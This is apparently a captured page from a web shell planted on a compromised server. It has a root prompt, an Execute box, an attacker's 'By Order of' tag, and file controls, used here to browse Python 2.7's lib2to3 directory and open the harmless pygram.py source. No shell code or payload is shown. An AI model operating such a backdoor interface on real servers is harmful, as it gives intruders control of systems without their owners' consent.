usr
/
lib64
/
python2.7
/
lib2to3
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] fixes
N/A
[DIR] pgen2
N/A
Grammar.txt
6.93 KB
Rename
Delete
Grammar2.7.18.final.0.pickle
39.54 KB
Rename
Delete
PatternGrammar.txt
793 bytes
Rename
Delete
PatternGrammar2.7.18.final.0.pickle
2.73 KB
Rename
Delete
__init__.py
7 bytes
Rename
Delete
__init__.pyc
127 bytes
Rename
Delete
__init__.pyo
127 bytes
Rename
Delete
__main__.py
67 bytes
Rename
Delete
__main__.pyc
242 bytes
Rename
Delete
__main__.pyo
242 bytes
Rename
Delete
btm_matcher.py
6.67 KB
Rename
Delete
btm_matcher.pyc
5.69 KB
Rename
Delete
btm_matcher.pyo
5.69 KB
Rename
Delete
btm_utils.py
9.78 KB
Rename
Delete
btm_utils.pyc
7.39 KB
Rename
Delete
btm_utils.pyo
7.39 KB
Rename
Delete
fixer_base.py
6.62 KB
Rename
Delete
fixer_base.pyc
7.02 KB
Rename
Delete
fixer_base.pyo
7.02 KB
Rename
Delete
fixer_util.py
14.25 KB
Rename
Delete
fixer_util.pyc
14.34 KB
Rename
Delete
fixer_util.pyo
14.34 KB
Rename
Delete
main.py
11.33 KB
Rename
Delete
main.pyc
9.60 KB
Rename
Delete
main.pyo
9.56 KB
Rename
Delete
patcomp.py
6.90 KB
Rename
Delete
patcomp.pyc
6.45 KB
Rename
Delete
patcomp.pyo
6.14 KB
Rename
Delete
pygram.py
1.13 KB
Rename
Delete
pygram.pyc
1.41 KB
Rename
Delete
pygram.pyo
1.41 KB
Rename
Delete
pytree.py
28.36 KB
Rename
Delete
pytree.pyc
29.59 KB
Rename
Delete
pytree.pyo
28.73 KB
Rename
Delete
refactor.py
27.37 KB
Rename
Delete
refactor.pyc
23.35 KB
Rename
Delete
refactor.pyo
23.31 KB
Rename
Delete
# Copyright 2006 Google, Inc. All Rights Reserved. # Licensed to PSF under a Contributor Agreement. """Export the Python grammar and symbols.""" # Python imports import os # Local imports from .pgen2 import token from .pgen2 import driver from . import pytree # The grammar file _GRAMMAR_FILE = os.path.join(os.path.dirname(__file__), "Grammar.txt") _PATTERN_GRAMMAR_FILE = os.path.join(os.path.dirname(__file__), "PatternGrammar.txt") class Symbols(object): def __init__(self, grammar): """Initializer. Creates an attribute for each grammar symbol (nonterminal), whose value is the symbol's type (an int >= 256). """ for name, symbol in grammar.symbol2number.iteritems(): setattr(self, name, symbol) python_grammar = driver.load_packaged_grammar("lib2to3", _GRAMMAR_FILE) python_symbols = Symbols(python_grammar) python_grammar_no_print_statement = python_grammar.copy() del python_grammar_no_print_statement.keywords["print"] pattern_grammar = driver.load_packaged_grammar("lib2to3", _PATTERN_GRAMMAR_FILE) pattern_symbols = Symbols(pattern_grammar)
Save